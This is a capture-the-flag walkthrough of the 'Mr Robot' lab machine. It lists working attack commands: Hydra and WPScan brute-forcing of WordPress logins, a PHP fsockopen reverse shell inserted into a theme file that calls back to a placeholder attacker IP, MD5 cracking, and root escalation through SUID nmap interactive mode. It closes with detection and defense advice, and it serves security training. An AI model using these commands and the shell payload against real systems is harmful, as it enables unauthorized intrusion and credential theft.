Attack Chain Overview
Nmap → ports 80/443 (Apache + WordPress)
↓
robots.txt → Key 1 + fsocity.dic wordlist
↓
Hydra + WPScan → brute force WordPress credentials (elliot)
↓
WordPress Theme Editor → PHP reverse shell in archive.php
↓
Shell as daemon → /home/robot/password.raw-md5
↓
Crack MD5 → su robot → Key 2
↓
SUID nmap --interactive → !sh → root
↓
Key 3 in /root/Phase 1 — Reconnaissance
Nmap Scan
nmap -sV -sC --min-rate 100 10.10.66.127PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpdKey observations:
- SSH is closed — no direct SSH access
- Port 80 and 443 both run Apache — same web app on HTTP and HTTPS
- The SSL cert says
www.example.com— CTF machine, not a real domain
Web Directory Enumeration
dirb http://10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127Notable paths discovered: /wp-login, /wp-admin, /dashboard, /robots.txt. The presence of /wp-login immediately identifies this as a WordPress installation.
robots.txt — Key 1 + Wordlist
Navigating to http://10.10.66.127/robots.txt:
User-agent: *
fsocity.dic
key-1-of-3.txtWhy check robots.txt? It's a file that tells web crawlers which paths to avoid indexing. Developers sometimes accidentally list sensitive paths here. In this case, it exposed both the first flag and a custom wordlist fsocity.dic — a dictionary file themed around the Mr Robot show.
# Download the wordlist
wget http://10.10.66.127/fsocity.dic
# Check its size — likely has duplicates
wc -l fsocity.dic🏁 Key 1 found at http://10.10.66.127/key-1-of-3.txt
Phase 2 — WordPress Credential Brute Force
Username Enumeration with Hydra
WordPress leaks whether a username is valid through different error messages:
- Wrong username →
Invalid username - Right username, wrong password →
The password you entered for the username...
This makes username enumeration trivial with Hydra:
hydra -L fsocity.dic -p test123 10.10.66.127 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -VResult: Username is Elliot (a character from the Mr Robot show).
Why this works: The -L flag feeds the wordlist as usernames while -p keeps the password fixed at a dummy value. We're not trying to find the password here — just confirm which username triggers the different error message.
Password Brute Force
The fsocity.dic file has many duplicates which would slow down the brute force. Sort and deduplicate first:
sort -f fsocity.dic | uniq -i > sort.txt
wc -l sort.txt # much smaller nowWhy deduplication matters: If fsocity.dic has 858,000 lines but only 11,000 unique entries, brute forcing with the original file wastes 98% of requests. Always deduplicate wordlists before brute forcing.
Now use WPScan — purpose-built for WordPress and handles rate limiting and WordPress-specific auth better than Hydra:
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txtCredentials found:
Username: elliot
Password: ER28-0652Phase 3 — Initial Access via WordPress Theme Editor
Login to WordPress Dashboard
Navigate to http://10.10.66.127/wp-login and log in as elliot.
Inject Reverse Shell via Theme Editor
Navigate to: Appearance → Editor → archive.php
Why archive.php? WordPress theme PHP files are served directly by the web server. If you can edit a theme file and inject PHP code, triggering that file via the browser executes your code as the web server user (daemon). archive.php is a good target because it's rarely used and easy to trigger by visiting a non-existent archive URL.
Replace the entire contents of archive.php with a PHP reverse shell (generate one from revshells.com using the PHP fsockopen method):
<?php
set_time_limit(0);
$ip = 'YOUR_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>Save the file, start a listener, then trigger it:
# Listener on Kali
nc -lvnp 4444
# Trigger archive.php in browser or curl
curl http://10.10.66.127/?cat=1 # any archive URL triggers archive.phpShell received as daemon.
Upgrade the Shell
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermPhase 4 — Lateral Movement to robot (Key 2)
Enumerate /home/robot
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot && ls -la-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5key-2-of-3.txt is only readable by robot — but password.raw-md5 is world-readable. This is the path to lateral movement.
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13bCrack the MD5 Hash
Why MD5 is weak: MD5 produces a 128-bit hash and has no salt — meaning the same password always produces the same hash. Rainbow tables and online lookup databases like CrackStation have pre-computed hashes for billions of common passwords. This hash cracks instantly.
Submit to crackstation.net:
Hash: c3fcd3d76192e4007dfb496cca67e13b
Cracked: abcdefghijklmnopqrstuvwxyz
Switch to robot and Get Key 2
daemon@linux:/home$ su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ cat key-2-of-3.txt🏁 Key 2 captured.
Phase 5 — Privilege Escalation to Root via SUID Nmap (Key 3)
Check sudo and SUID Binaries
sudo -l # prompts for password — robot can't use sudofind / -perm -4000 -type f 2>/dev/null/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap ← NOT a default SUID binary ★
/usr/lib/openssh/ssh-keysignWhy SUID matters: The SUID (Set User ID) bit means the binary runs as its owner (often root) regardless of who executes it. If a SUID binary can be abused to spawn a shell or execute arbitrary commands, you get those commands running as root.
Why nmap SUID is suspicious: nmap has no legitimate reason to be SUID root. It's a non-default configuration — and it's a well-known GTFOBins entry.
Check Nmap Version
nmap --versionnmap version 3.81Why the version matters: Nmap 3.81 is ancient (2005). Old versions of nmap had an --interactive mode that allowed running shell commands from within the nmap prompt. This feature was removed in newer versions precisely because it was a security risk. With SUID set, this becomes an instant root escalation.
Exploit via Interactive Mode
robot@linux:~$ nmap --interactive
Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
rootWhy !sh works: The ! prefix in nmap's interactive mode passes the command to /bin/sh. Since nmap is running as root (SUID), the shell spawned by !sh inherits root privileges.
Reference: GTFOBins — nmap
Get Key 3
# cd /root
# ls
key-3-of-3.txt
# cat key-3-of-3.txt🏁 Key 3 captured. All three flags collected.
Key Commands Reference
# Recon
nmap -sV -sC --min-rate 100 10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127
# Key 1
curl http://10.10.66.127/robots.txt
wget http://10.10.66.127/fsocity.dic
curl http://10.10.66.127/key-1-of-3.txt
# Wordlist cleanup
sort -f fsocity.dic | uniq -i > sort.txt
# Username brute force
hydra -L fsocity.dic -p test123 10.10.66.127 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V
# Password brute force
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt
# Listener
nc -lvnp 4444
# Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
# Switch to robot
su robot # password: abcdefghijklmnopqrstuvwxyz
# SUID enumeration
find / -perm -4000 -type f 2>/dev/null
# Nmap SUID escalation
nmap --interactive
# then: !shLessons Learned
What Worked Well
- Checking robots.txt immediately paid off — it gave the first flag and the custom wordlist in one step. Always check
/robots.txtearly. - Deduplicating the wordlist before brute forcing saved significant time — the original file had huge numbers of duplicates.
- SUID binary enumeration with
find / -perm -4000is a quick, reliable privesc check that should always be run after gaining a shell.
What to Do Faster Next Time
- Recognize WordPress faster from the directory scan —
/wp-login,/wp-admin, and/wp-contentare unmistakable. Jump straight to WPScan rather than spending time with generic dirb scans. - When you see a
.raw-md5file, crack it immediately rather than trying other lateral movement methods first.
Detection & Defense
How to detect this attack:
- Alert on multiple failed WordPress login attempts from a single IP (brute force pattern)
- Monitor WordPress theme file modifications — editing theme PHP files outside of a deployment pipeline is highly suspicious
- Log all SUID binary executions, especially non-standard ones like
/usr/local/bin/nmap
How to prevent it:
- Enable WordPress login rate limiting or use a plugin like Wordfence to block brute force
- Disable the WordPress Theme/Plugin Editor in
wp-config.php:define('DISALLOW_FILE_EDIT', true); - Never store passwords as unsalted MD5 — use bcrypt, Argon2, or at minimum salted SHA-256
- Audit SUID binaries regularly —
nmaphas no legitimate reason to have the SUID bit set. Remove it:chmod u-s /usr/local/bin/nmap - Keep software updated — nmap 3.81's interactive mode was a known risk even in 2005
Technique Summary
| Step | Technique | Why It Worked |
|---|---|---|
| Key 1 | robots.txt disclosure | Developer accidentally exposed flag path and wordlist |
| Username enum | WordPress error message difference | WP leaks valid usernames via distinct login errors |
| Password crack | Hydra + WPScan brute force | Custom wordlist contained the actual password |
| RCE | WordPress Theme Editor | Admin users can edit PHP files which execute server-side |
| Key 2 | MD5 hash crack | Unsalted MD5 cracked instantly via rainbow table lookup |
| Root | SUID nmap --interactive | Ancient nmap version with interactive shell mode set SUID root |